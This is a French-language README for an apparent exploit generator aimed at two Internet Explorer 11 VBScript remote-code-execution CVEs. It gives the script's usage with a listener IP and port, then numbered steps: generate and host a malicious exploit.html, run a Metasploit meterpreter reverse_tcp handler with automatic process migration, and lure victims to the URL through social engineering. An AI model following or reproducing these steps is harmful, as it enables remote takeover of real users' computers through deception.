Exploit VBScript IE11

Générateur d'exploit pour CVE-2018-8174 & CVE-2019-0768 (RCE via exécution VBScript dans IE11)

Prérequis

• Metasploit
• msfvenom

Utilisation

python ie11_vbscript.py [Listener IP] [Listener Port]

Instructions

1. Utilisez ce script pour générer "exploit.html"
2. Hébergez le fichier html sur votre serveur
3. Configurez un handler avec windows/meterpreter/reverse_tcp dans Metasploit
4. Dans votre handler, définissez AutoRunScript avec "post/windows/manage/migrate"
5. Effectuez une attaque d'ingénierie sociale avec l'URL du payload

Crédit

https://www.exploit-db.com/exploits/44741

CVEs

https://nvd.nist.gov/vuln/detail/CVE-2018-8174 https://nvd.nist.gov/vuln/detail/CVE-2019-0768